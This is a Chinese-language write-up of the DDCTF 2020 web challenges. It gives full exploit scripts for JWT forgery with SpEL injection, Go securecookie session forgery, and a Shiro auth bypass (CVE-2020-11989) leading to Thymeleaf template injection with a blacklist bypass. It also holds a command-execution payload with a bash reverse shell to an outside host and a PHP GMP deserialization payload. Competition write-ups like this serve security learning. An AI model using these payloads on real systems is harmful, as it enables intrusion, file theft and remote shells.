DDCTF 2020 WEB WriteUp

DDCTF 2020 WEB WriteUp

Web签到题

第一个POST传入username和pwd会返回token,第二个POST传入username,pwd和token会得到client下载链接,但第二个POST直接提交是提示need ADMIN permission,看来需要伪造JWT,一开始利用c-jwt-cracker爆破很久都没成功,后来队友成功了,发现secret key就是第一个POST包中自己传入的pwd,而我是因为一开始填的pwd太复杂…

将JWT中的userRole修改为ADMIN POST到/admin/auth得到client下载地址

clinet向服务器发送command,可以在命令行export http_proxy=ip:port设置代理,burp抓包

需要先解决的是signature的算法,队友逆出签名计算方法为 HMAC sha256 加密 command|time_stamp 后base64编码,HMAC加密的密钥为DDCTFWithYou

然后测试了很久发现是可以注入SPEL表达式,最终POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import re
import time
import urllib.parse

def getSignature(command,time):
command=urllib.parse.quote(command)
headers = {
"Host": "1024tools.com",
"Content-Type": "application/x-www-form-urlencoded"
}
url = "https://1024tools.com/hmac"
data="query="+command+"|"+time+"&algo=sha256&key=DDCTFWithYou"
res = requests.post(url=url,headers=headers,data=data)

r=re.compile('B:(HMAC(.*?)<textarea class="form-control" id="result_base64" rows="2" spellcheck="false" name="result" cols="50">(.*?)</textarea>',re.DOTALL)
return r.search(res.text).group(2)

def sendCommand(command,time):
signature = getSignature(command,time)
headers = {
"Host": "117.51.136.197",
"Content-Type": "application/json"
}
url = "http://117.51.136.197/server/command"
data = '{"signature":"'+signature+'","command":"'+command+'","timestamp":'+time+'}'

res = requests.post(url=url,headers=headers,data=data)
return res.text

command = "T(java.nio.file.Files).lines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'))"
print(sendCommand(command,str(int(time.time()))))

卡片商店

借入卡片的时候有溢出漏洞,借入1000000000000,账户立即入账1000000000000,但只需还3567587330,然后兑换礼物

得到提示

url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12

由cookie中session的特征一顿百度谷歌后,确定了是来自Golang的securecookie,Udc13VD5adM_c10nPxFu@v12是密钥,应该是需要伪造session中的某些字段(这里是将admin设为true),POC如下

(session base64解码后是明文数据,所以securecookie.New(hashKey, nil)第二个参数应该传入nil,至于map[interface{}]interface{}这个结构的构造,由于不太懂Golang,是观察session base64解密后的明文试了很久才得出的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package main

//go get github.com/gorilla/sessions
import "github.com/gorilla/securecookie"
import "fmt"

var hashKey = []byte("Udc13VD5adM_c10nPxFu@v12")
var s = securecookie.New(hashKey, nil)

func main() {
encode()
}

func encode(){
value := map[interface{}]interface{} {"admin":true,"wallet":"{\"owings\":[],\"invests\":[],\"money\":996432412472,\"now_time\":1599208994,\"start_time\":1599208954}"}

encoded, err := s.Encode("session", value)
if err == nil {
fmt.Println(encoded)
}else{
fmt.Println(err)
}
}

func decode(){
value := make(map[interface{}]interface{})
var err error

if err = s.Decode("session", "MTU5OTIwOTAzNHxEdi1CQkFFQ180SUFBUkFCRUFBQV81Yl9nZ0FDQm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQVp6ZEhKcGJtY01DQUFHZDJGc2JHVjBCbk4wY21sdVp3eGZBRjE3SW05M2FXNW5jeUk2VzEwc0ltbHVkbVZ6ZEhNaU9sdGRMQ0p0YjI1bGVTSTZPVGsyTkRNeU5ERXlORGN5TENKdWIzZGZkR2x0WlNJNk1UVTVPVEl3T0RrNU5Dd2ljM1JoY25SZmRHbHRaU0k2TVRVNU9USXdPRGsxTkgwPXyt-B6Jm23Kk8B5z2K_UKTx67JL4Qxam0wgJg3Oh7H38w==", &value); err == nil {
fmt.Println(value)
}else{
fmt.Println(err)
}
}

最后带上伪造的session访问/flag

Easy Web

这题从早上一直肝到下午,终于拿到一血,感觉对Java知识点考察很多

抓包发现有rememberMe=deleteMe,第一反应是Shiro反序列化漏洞,拿Xray跑了一波常用key无果,就又尝试了Shiro的权限绕过漏洞,成功访问到index路由

CVE-2020-11989

在网页源码中发现文件下载接口./img?img=static/hello.jpg,然后此时的思路就是读配置文件,读class文件,审计,找洞

WEB项目首先是WEB-INF/web.xml

比较有用的是这俩spring的配置,这里classpath是指WEB-INF目录下的classes目录

WEB-INF/classes/spring-web.xml

拿到了项目部分包名,后面读取class文件时需要(包名对应路径)

WEB-INF/classes/spring-core.xml

其实看到有个模板引擎thymeleaf就猜到后面可能要考Java的模板注入

WEB-INF/classes/spring-shiro.xml

得到一个类名,那就可以读取class文件了

WEB-INF/classes/com/ctf/auth/ShiroRealm.class

然后反编译根据Java代码中的import的类去读取了其他class,但没有具体进展,最后是由命名规则猜测文件名得到了WEB-INF/classes/com/ctf/controller/AuthController.class

是admin的话重定向到这个路由,那么直接利用Shiro权限绕过漏洞访问

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index

没错就是考察的thymeleaf模板注入,不过这里貌似有黑名单,具体表现就是不能出现引号,也就是说字符串要另外想办法构造,不能出现某些方法的关键字,比如File类中的readXxx方法,反射中的invoke方法,导致没办法用常规办法执行命令和读取文件,也不能通过反射动态调用被ban的方法。

后面很多时间都是在绕这里的限制,最后的解决方法就是

字符串通过字符拼接来构造

1
<input th:value=${T(com.ctf.model.User).getName()[3].replace(46,108)+T(com.ctf.model.User).getName()[3].replace(46,51)+T(com.ctf.model.User).getName()[3].replace(46,121)+T(com.ctf.model.User).getName()[3].replace(46,120)}>

防止类名被ban,使用getClassLoader的loadClass动态加载所需类

1
<input th:value=${T(com.ctf.model.User).getClassLoader().loadClass(类名字符串)}>

使用Files类的list和lines方法列举和读取文件,使用toArray() 和 Arrays.toString() 把内容流转换为字符串输出

1
2
Arrays.toString( java.nio.file.Files.list(java.nio.file.Paths.get("/")).toArray() );
Arrays.toString( java.nio.file.Files.lines(java.nio.file.Paths.get("/etc/passwd")).toArray() );

最后POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import urllib.parse
import re

headers = {
"Host": "116.85.37.131",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": "http://116.85.37.131",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
}

def render(payload):
print("[+] submit...")
url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize"
data = "content="+urllib.parse.quote_plus(payload)

res = requests.post(url = url,headers = headers,data = data)
if re.search("Success! Please fetch .(.*)? !",res.text) is None:
print(res.text)
exit()
else:
return re.search("Success! Please fetch .(.*)? !",res.text).group(1)

def getResult(url):
print("[+] getResult...")
url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef"+url

res = requests.get(url,headers=headers)
return res.text

def getString(string):
strc=""
for i in string:
strc = strc + "T(com.ctf.model.User).getName()[3].replace(46,{})+".format(str(ord(i)))
return strc[:-1]

def getClass(className):
return "T(com.ctf.model.User).getClassLoader().loadClass("+getString(className)+")"

poc = "${"+getClass("java.util.Arrays")+".toString("+ getClass("java.nio.file.Files")+".list("+getClass("java.nio.file.Paths")+".get("+getString("/")+")).toArray()" +")}"
poc = "<input th:value="+poc+">"
print(getResult(render(poc)))

poc = "${"+getClass("java.util.Arrays")+".toString("+ getClass("java.nio.file.Files")+".lines("+getClass("java.nio.file.Paths")+".get("+getString("/flag_is_here")+")).toArray()" +")}"
poc = "<input th:value="+poc+">"
print(getResult(render(poc)))

比赛结束后又尝试了绕过限制getShell成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import urllib.parse
import re

headers = {
"Content-Type": "application/x-www-form-urlencoded",
}

def submit(payload):
print("[+] submit...")
url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize"
data = "content="+urllib.parse.quote_plus(payload)

res = requests.post(url = url,headers = headers,data = data)
if re.search("Success! Please fetch .(.*)? !",res.text) is None:
print(res.text)
exit()
else:
return re.search("Success! Please fetch .(.*)? !",res.text).group(1)

def getResult(url):
print("[+] getResult...")
url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef"+url

res = requests.get(url,headers=headers)
return res.text

def getString(string):
strc=""
for i in string:
strc = strc + "T(com.ctf.model.User).getName()[3].replace(46,{})+".format(str(ord(i)))
return strc[:-1]

def getClass(className):
return "T(com.ctf.model.User).getClassLoader().loadClass("+getString(className)+")"

def getResultWithParameter(url,parameter):
print("[+] getResult...")
url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef"+url+parameter

res = requests.get(url,headers=headers)
return res.text

poc = "[[${"+getClass("java.lang.ProcessBuilder")+".getConstructors()[1].newInstance(#request.getParameterValues("+getString("cmd")+")).start()}]]"
print(getResultWithParameter(submit(poc),"?cmd=/bin/bash&cmd=-c&cmd=echo success> /tmp/leixiao"))

poc = "${"+getClass("java.util.Arrays")+".toString("+ getClass("java.nio.file.Files")+".list("+getClass("java.nio.file.Paths")+".get("+getString("/tmp")+")).toArray()" +")}"
poc = "<input th:value="+poc+">"
print(getResult(submit(poc)))

poc = "${"+getClass("java.util.Arrays")+".toString("+ getClass("java.nio.file.Files")+".lines("+getClass("java.nio.file.Paths")+".get("+getString("/tmp/leixiao")+")).toArray()" +")}"
poc = "<input th:value="+poc+">"
print(getResult(submit(poc)))
1
getResultWithParameter(submit(poc),"?cmd=/bin/bash&cmd=-c&cmd="+urllib.parse.quote_plus("/bin/bash -i >&/dev/tcp/x.x.x.x/7777 0>&1") )

反弹Shell后发现权限很低

就拖份源码吧

Overwrite Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php
error_reporting(0);

class MyClass
{
var $kw0ng;
var $flag;

public function __wakeup()
{
$this->kw0ng = 2;
}

public function get_flag()
{
return system('find /HackersForever ' . escapeshellcmd($this->flag));
}
}

class HintClass
{
protected $hint;
public function execute($value)
{
include($value);
}

public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}

class ShowOff
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}

public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}

class MiddleMan
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}

public function __unset($key)
{
$func = $this->content;
return $func();
}
}

class Info
{
function __construct()
{
eval('phpinfo();');
}

}

$show = new ShowOff();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle1 = new stdClass;
$obstacle2 = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get_flag();
}

/hint/hint.php得到提示和一半flag

以关键字google到参考文章https://hackerone.com/reports/198734

覆盖$mc对象的flag属性,命令注入,题目中的$mc在本地搭建环境打印出来后为object#4,尝试了很久很久才发现文章中的poc里的s:1:"1"要改成s:1:"4",其中的4决定了GMP覆盖的对象是哪个object,DateInterval为php5.6-5.6.11可利用的内置类,POC如下

1
2
3
4
<?php
$inner = 's:1:"4";a:3:{s:5:"kw0ng";R:2;s:4:"flag";s:43:"-exec cat /HackersForever/suffix_flag.php ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
echo $exploit;

后来看其他师傅的WP发现不用GMP,也可以直接构造POP链获取flag,参考https://www.anquanke.com/post/id/216694

(一直不知道在$v可控的情况下,可以传入元素为一个对象和函数名的数组,这样$v()就能调用这个对象的方法)